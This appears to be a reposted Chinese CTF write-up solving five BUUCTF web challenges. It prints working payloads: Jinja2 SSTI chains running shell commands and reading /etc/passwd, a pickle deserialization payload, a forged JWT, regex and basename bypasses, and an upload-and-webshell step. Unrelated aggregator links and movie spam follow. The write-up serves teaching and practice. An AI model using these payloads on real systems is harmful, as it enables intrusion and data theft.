BUUCTF-WEB(66-70)

news/2025/1/21 11:59:02/文章来源:https://www.cnblogs.com/Muneyoshi/p/18238400

[MRCTF2020]套娃

参考:

MRCTF2020 套娃 - Rabbittt - 博客园 (cnblogs.com)

upfine的博客 (cnblogs.com)

查看源码

image-20240605093031887

然后我这里查一下$_SERVER的这个用法

image-20240605093754143

然后这边的意思就是里面不能用_和%5f(URL编码过的下划线)

然后传入b_u_p_t里面这个参数有下划线,我们想办法绕过

substr_count()函数计算子串在字符串中出现的次数
PS:子串区分大小写

所以我们用%5F绕过,然后就是不能等于2333,但是因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过

(这里我尝试一下数组绕过,是绕不过去的)

b%5Fu%5Fp%5Ft=23333%0a

得到下一关

image-20240605094810760

第二关在源码找到jsfuck的代码Jsfuck -- 一个很有意思的Javascript特性 - 简书 (jianshu.com)

image-20240605095126129

我们复制下来到控制台操作一下image-20240605095239703

需要我们post一个Merak

image-20240605095426355

然后就出现了源码

image-20240605095442683

然后我们需要本地访问,这里使用Client-Ip,XFF不行哦,在Burp上添加

Clinet-Ip: 127.0.0.1

image-20240605101219082

file_get_contents需要我们读取的文件是后面的那个todat那个内容,我们应该使用伪协议

data://text/plain,todat is a happy day

重要的是那个file,怎么去读取,经历change函数,是先base64编码,然后转换成ascll码+i*2生成新的字符

然后我们逆向回来

import base64
def reverse_change(s):# 初始化一个空列表来存储处理后的字符  chars = []# 遍历输入字符串的每个字符  for i, char in enumerate(s):# 减去索引乘以2的ASCII码值  new_char = chr(ord(char) - i * 2)# 将处理后的字符添加到列表中  chars.append(new_char)# 将列表中的字符重新组合成一个字符串reversed_str = ''.join(chars)# 对字符串进行Base64编码(假设原始字符串是Base64解码后的)  base64_encoded = base64.b64encode(reversed_str.encode()).decode()return base64_encoded# 导入base64模块(用于Base64编码和解码)# 示例使用  
original_base64 = "ZmxhZy5waHA="  # 替换为实际的Base64字符串
reversed_base64 = reverse_change(base64.b64decode(original_base64).decode())
print(reversed_base64)  # 输出逆向处理后的Base64字符串
ZmpdYSZmXGI=

所以我们最后传入,这里需要url编码,只用中间那一部分需要,我也不太清楚为啥,否则就是不行

?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI

image-20240605102314438

得到flag

image-20240605102301469

[Zer0pts2020]Can you guess it?

参考:

[BUUCTF题解][Zer0pts2020]Can you guess it - Article_kelp - 博客园 (cnblogs.com)

[Zer0pts2020]Can you guess it?_i[zer0pts2020]can you guess it?-CSDN博客

看源码

image-20240605103514017

目前来看就是会有一个随机的值secret和我们的传入的guess值判断,如果相等就会给出flag

但是他是随机的,没有什么漏洞,这些函数,所以我们目光转向前面的两个if

image-20240605103916076

basename() 函数用于从一个路径字符串中提取文件名部分(不包括目录路径),并返回提取的文件名,但是该函数发现最后一段为不可见字符时会退取上一层的目录,

$_SERVER['PHP_SELF']会获取我们当前的访问路径,并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分

然后正则表达式只匹配末尾image-20240605104431345

所以最后payload如下

/index.php/config.php/%ff?source

image-20240605104906677

[CSCCTF 2019 Qual]FlaskLight

参考:

[CSCCTF 2019 Qual]FlaskLight——直取flag?-CSDN博客

ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客

查看源代码

image-20240607090718252

发现了传递的参数,我们先试一下是不是模板注入

image-20240607090808476

果然是模板注入

先找有没有什么可以利用的类

?search={{().__class__.__mro__[1].__subclasses__()}}

image-20240607091801484

然后这边我也是看到file类了,看看是第几个位置,代码跑了一下,是第41位

str="<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>"
str = str.split(', ')
print(len(str))

可以先读取文件试试

?search={{().__class__.__mro__[1].__subclasses__()[40](%27/etc/passwd%27).read()}}

image-20240607092137405

然后这里我发现我们读取文件没用,这个flag找不到,我们还得想办法命令执行,然后我发现了这个,可以利用它去弄那个内置的\__builtins__,失败了

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__.__globals__}}

image-20240607092951930

但是我退回去__init__是没有问题的,我就感觉是过滤掉了globals,然后搜到了绕过

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']}}

image-20240607093611241

我们就是要用__builtins__这个

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']}}

image-20240607094412696

然后我们就是用__import__去进行命令执行

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls').read()}}

image-20240607094656500

成功回显,然后此时我发现我不知道哪里有flag,然后应该就是flasklight里面

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls ./flasklight').read()}}

image-20240607095151603

然后查看flag

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('cat ./flasklight/coomme_geeeett_youur_flek').read()}}

image-20240607095228828

[CISCN2019 华北赛区 Day1 Web2]ikun

参考:

[CISCN2019 华北赛区 Day1 Web2]ikun_[ciscn2019 华北赛区 day1 web2]ikun 1-CSDN博客

[BUUCTF题解][CISCN2019 华北赛区 Day1 Web2]ikun - Article_kelp - 博客园 (cnblogs.com)

打开题目就是一个ikun,让我们买到lv6

image-20240607100919603

源码处发现图片命名规则,发然后我们找找lv6在哪里,编写脚本

image-20240607101419239

import requests
for i in range(1,1000):url = f'http://42308cef-cefc-458f-94d1-c4f1373cdf09.node5.buuoj.cn:81/shop?page={i}'res = requests.get(url)print(f'[+]正在查找第{i}页')if 'lv6.png' in res.text:print(f'[*]查询完毕')print(i)break

最后发现是在181页,付款的时候抓包,因为他有个折扣,我们更改一下

image-20240607102223979

修改成

image-20240607102313020

然后他返回了一个地址

image-20240607102328479

然后我们访问了,他说得是admin用户

image-20240607102441097

我们抓包,注意到他有个jwt格式的,可能是jwt伪造,但是我们没有密钥,我用空密钥试了一下,然后不行的

image-20240607102711179

然后使用jwtcrack爆破密钥

image-20240607110059471

得到密钥为1Kun,然后伪造

image-20240607114824236

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

然后进入后有个按钮没啥用,我们查看源码,找到网站源码压缩包

image-20240607114855933

下载下来就开始代码审计,在Admin.py里发现

image-20240607115226877

然后使用pickle这个反序列化[CISCN2019 华北赛区 Day1 Web2]ikun_[ciscn2019 华北赛区 day1 web2]ikun 1-CSDN博客

import pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())
a = urllib.quote(a)
print a

然后生成的拼接在这里

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20240607115605796

然后就得到flag

image-20240607115618252

[WUSTCTF2020]CV Maker

打开就是个注册,我们注册个账号登录进去看看

image-20240608102833925

登陆进来,有个头像上传的地方,我们试试,是不是文件上传,然后有点waf,我们修改一下Content-Type以及加一个文件头,没有后缀的限制

image-20240608103124170

然后上传后在源码处发现了返回路径

image-20240608103211758

我们用蚁剑连接一下,根目录找到flag

image-20240608103330800

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/721765.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

告别Word,用Python打造你的专业简历!

今天给大家介绍下一个在纯 python 中构建简历的实用工具,工具的连接地址https://github.com/koek67/resume-builder/blob/main/readme.md 用法介绍 要求 Python 3.7 或更高版本(仅此而已!) 安装 整个库是一个单独的 python 文件 resume_builder.py。下载此文件 用法 要生成…

某大型医院IBM 3650服务器 raid重组案例——数据完美修复

我们今天谈的是一个来自四川的大型三甲医院的服务器数据恢复的真实的一个案例,是一台IBM的3650服务器,一共六块硬盘坏了,有两块硬盘是300GB,一共是有六块盘,两块盘是曝光灯离线了,导致这个医院的挂号系统,诊疗系统全部瘫痪,所有数据全部丢失,医院属于一个停摆的状态,…

数据库镜像 (SQL Server)操作模式

数据库镜像会话以同步操作或异步操作运行。 在异步操作下,事务不需要等待镜像服务器将日志写入磁盘便可提交,这样可最大程度地提高性能。 在同步操作下,事务将在伙伴双方处提交,但会延长事务滞后时间。 有两种镜像运行模式。 一种是高安全性模式,它支持同步操作。 在高安全…

Block Transformer:通过全局到局部的语言建模加速LLM推理

在基于transformer的自回归语言模型(LMs)中,生成令牌的成本很高,这是因为自注意力机制需要关注所有之前的令牌,通常通过在自回归解码过程中缓存所有令牌的键值(KV)状态来解决这个问题。但是,加载所有先前令牌的KV状态以计算自注意力分数则占据了LMs的推理的大部分成本。…

Android Media Framework(四)Non-Tunneled组件的状态转换与buffer分配过程分析

本篇将继续深入OpenMAX IL Spec,详细解析Non-tunneled(非隧道)组件的初始化、数据传递以及组件销毁过程。通过阅读本篇内容,我们应能对Non-tunneled组件的buffer分配与状态转换过程有一个清晰的了解。1、组件初始化 以下是IL Spec给的Non-tunneled组件初始化时序图:IL Cli…

庆余年第二季迅雷下载/庆余年2全集下载百度云在线观看

《庆余年2》:承前启后的豪情与智慧近年来,电视剧《庆余年》以其精彩的剧情和精湛的演技,收获了广大观众的喜爱和好评。而续集作品《庆余年2》更是在原剧的基础上迈出了更加坚实的一步。该剧不仅延续了第一季的精彩故事,同时也在新一季中增加了更多的情节和角色,带给观众更…

CF1192B Dynamic Diameter 题解

思路 静态 \(\text{top tree}\) 板子题。 定义 我们使用簇来表示树上的一个连通块。 可以按照如下方式定义一个簇:一个簇可以表示为三元组 \((u,v,E)\),其中 \(u,v\) 为树的节点,称为簇的界点,\(E\) 为一个边的集合,表示该簇包含的边,路径 \((u,v)\) 称作簇路径。 \(u,v\…

谈判专家迅雷BT下载[2.69GB-MKV]加长完整版[HD1280P]

《谈判专家》是由中国导演韩寒执导的一部谈判题材电影,该片于2017年上映。电影讲述了一场关于中国企业与美国公司之间的商业谈判,以及其中涉及到的诸多挑战和困境。本文将对该电影进行全面分析,从剧情、演员表现、影片风格等方面进行讨论。首先,我们来看剧情。电影《谈判专…

走走停停迅雷BT下载[DB-1280P/3.25GBMKV中字]4k高清百度云资源分享

电影《走走停停》:探寻人生的迷茫与自我救赎电影《走走停停》是一部由李安执导,由乔阿尔文主演的心灵探索之旅。这部电影以一个中年男子的迷失和自我救赎为线索,通过对人生中的停顿和挫折的描绘,引发观众对生活意义的思考。故事的主线由两个不同的时间线交织而成,一条是男…

扫黑决不放弃迅雷BT下载[MOV-5.28GB]高清完整版[HD720p/1080p]

电影《扫黑决不放弃》:坚定信念,抗击黑暗的战斗电影《扫黑决不放弃》是一部扣人心弦的动作犯罪电影,由中国著名导演李安执导,讲述了一群有志青年与黑恶势力斗争的故事。影片通过紧凑的剧情和刺激的动作场面,以及深刻的社会寓意,引发观众对正义与邪恶的思考。电影以中国大…

我才不要和你做朋友呢下载/迅雷BT下载[HD-720P/2.65GB]百度云资源

电影《我才不要和你做朋友呢》是一部由导演张华执导的青春成长电影。该片以逗趣的方式,讲述了一个关于友谊和成长的故事。影片中的角色经历了许多挑战和困难,通过彼此之间的支持和理解,他们在成长的路上逐渐成为了真正的朋友。本文将会从影片的剧情、人物塑造以及核心主题等…